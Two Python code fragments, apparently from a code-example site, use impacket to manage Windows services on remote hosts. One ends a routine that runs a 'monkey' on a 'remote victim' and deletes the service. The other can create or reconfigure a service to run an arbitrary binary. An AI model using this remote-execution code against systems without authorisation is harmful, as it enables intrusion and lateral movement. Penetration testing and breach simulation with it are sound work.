        try:
            scmr.hRStartServiceW(scmr_rpc, service)
        except:
            pass
        scmr.hRDeleteService(scmr_rpc, service)
        scmr.hRCloseServiceHandle(scmr_rpc, service)

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 remote_full_path, self.host, cmdline)

        return True
Beispiel #47
0
    def doStuff(self, rpctransport):
        dce = rpctransport.get_dce_rpc()
        #dce.set_credentials(self.__username, self.__password)
        dce.connect()
        #dce.set_max_fragment_size(1)
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
        dce.bind(scmr.MSRPC_UUID_SCMR)
        #rpc = svcctl.DCERPCSvcCtl(dce)
        rpc = dce
        ans = scmr.hROpenSCManagerW(rpc)
        scManagerHandle = ans['lpScHandle']
        if self.__action != 'LIST' and self.__action != 'CREATE':
            ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.service_name+'\x00')
            serviceHandle = ans['lpServiceHandle']

        if self.__action == 'START':
            self.__logger.success("Starting service {}".format(self.__options.service_name))
            scmr.hRStartServiceW(rpc, serviceHandle)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'STOP':
            self.__logger.success("Stopping service {}".format(self.__options.service_name))
            scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'DELETE':
            self.__logger.success("Deleting service {}".format(self.__options.service_name))
            scmr.hRDeleteService(rpc, serviceHandle)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'CONFIG':
            self.__logger.success("Service config for {}".format(self.__options.service_name))
            resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
            output = "TYPE              : %2d - " % resp['lpServiceConfig']['dwServiceType']
            if resp['lpServiceConfig']['dwServiceType'] & 0x1:
                output += "SERVICE_KERNEL_DRIVER "
            if resp['lpServiceConfig']['dwServiceType'] & 0x2:
                output += "SERVICE_FILE_SYSTEM_DRIVER "
            if resp['lpServiceConfig']['dwServiceType'] & 0x10:
                output += "SERVICE_WIN32_OWN_PROCESS "
            if resp['lpServiceConfig']['dwServiceType'] & 0x20:
                output += "SERVICE_WIN32_SHARE_PROCESS "
            if resp['lpServiceConfig']['dwServiceType'] & 0x100:
                output += "SERVICE_INTERACTIVE_PROCESS "
            self.__logger.results(output)

            output = "START_TYPE        : %2d - " % resp['lpServiceConfig']['dwStartType']
            if resp['lpServiceConfig']['dwStartType'] == 0x0:
                output += "BOOT START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x1:
                output += "SYSTEM START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x2:
                output += "AUTO START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x3:
                output += "DEMAND START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x4:
                output += "DISABLED"
            else:
                output += "UNKOWN"
            self.logger.results(output)

            output = "ERROR_CONTROL     : %2d - " % resp['lpServiceConfig']['dwErrorControl']
            if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
                output += "IGNORE"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:
                output += "NORMAL"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:
                output += "SEVERE"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:
                output += "CRITICAL"
            else:
                output += "UNKOWN"
            self.__logger.results(output)

            self.__logger.results("BINARY_PATH_NAME  : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1])
            self.__logger.results("LOAD_ORDER_GROUP  : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1])
            self.__logger.results("TAG               : %d" % resp['lpServiceConfig']['dwTagId'])
            self.__logger.results("DISPLAY_NAME      : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1])
            self.__logger.results("DEPENDENCIES      : %s" % resp['lpServiceConfig']['lpDependencies'][:-1])
            self.__logger.results("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1])
        elif self.__action == 'STATUS':
            self.__logger.success("Service status for {}".format(self.__options.service_name))
            resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
            output = "%s - " % self.__options.service_name
            state = resp['lpServiceStatus']['dwCurrentState']
            if state == scmr.SERVICE_CONTINUE_PENDING:
               output += "CONTINUE PENDING"
            elif state == scmr.SERVICE_PAUSE_PENDING:
               output += "PAUSE PENDING"
            elif state == scmr.SERVICE_PAUSED:
               output += "PAUSED"
            elif state == scmr.SERVICE_RUNNING:
               output += "RUNNING"
            elif state == scmr.SERVICE_START_PENDING:
               output += "START PENDING"
            elif state == scmr.SERVICE_STOP_PENDING:
               output += "STOP PENDING"
            elif state == scmr.SERVICE_STOPPED:
               output += "STOPPED"
            else:
               output += "UNKOWN"
            self.__logger.results(output)
        elif self.__action == 'LIST':
            self.__logger.success("Enumerating services")
            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
            #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
            resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)
            for i in range(len(resp)):
                output = "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1])
                state = resp[i]['ServiceStatus']['dwCurrentState']
                if state == scmr.SERVICE_CONTINUE_PENDING:
                   output += "CONTINUE PENDING"
                elif state == scmr.SERVICE_PAUSE_PENDING:
                   output += "PAUSE PENDING"
                elif state == scmr.SERVICE_PAUSED:
                   output += "PAUSED"
                elif state == scmr.SERVICE_RUNNING:
                   output += "RUNNING"
                elif state == scmr.SERVICE_START_PENDING:
                   output += "START PENDING"
                elif state == scmr.SERVICE_STOP_PENDING:
                   output += "STOP PENDING"
                elif state == scmr.SERVICE_STOPPED:
                   output += "STOPPED"
                else:
                   output += "UNKOWN"
                self.__logger.results(output)
            self.__logger.results("Total Services: {}".format(len(resp)))
        elif self.__action == 'CREATE':
            self.__logger.success("Creating service {}".format(self.__options.service_name))
            scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.service_name + '\x00', self.__options.service_display_name + '\x00', lpBinaryPathName=self.__options.service_bin_path + '\x00')
        elif self.__action == 'CHANGE':
            self.__logger.success("Changing service config for {}".format(self.__options.service_name))
            if self.__options.start_type is not None:
                start_type = int(self.__options.start_type)
            else:
                start_type = scmr.SERVICE_NO_CHANGE
            if self.__options.service_type is not None:
                service_type = int(self.__options.service_type)
            else:
                service_type = scmr.SERVICE_NO_CHANGE

            if self.__options.service_display_name is not None:
                display = self.__options.service_display_name + '\x00'
            else:
                display = NULL
 
            if self.__options.service_bin_path is not None:
                path = self.__options.service_bin_path + '\x00'
            else:
                path = NULL
 
            if self.__options.start_name is not None:
                start_name = self.__options.start_name + '\x00'
            else:
                start_name = NULL 

            if self.__options.start_pass is not None:
                s = rpctransport.get_smb_connection()
                key = s.getSessionKey()
                try:
                    password = (self.__options.start_pass+'\x00').encode('utf-16le')
                except UnicodeDecodeError:
                    import sys
                    password = (self.__options.start_pass+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le')
                password = encryptSecret(key, password)
            else:
                password = NULL
 

            #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle,  display, path, service_type, start_type, start_name, password)
            scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        else:
            logging.error("Unknown action %s" % self.__action)

        scmr.hRCloseServiceHandle(rpc, scManagerHandle)

        dce.disconnect()

        return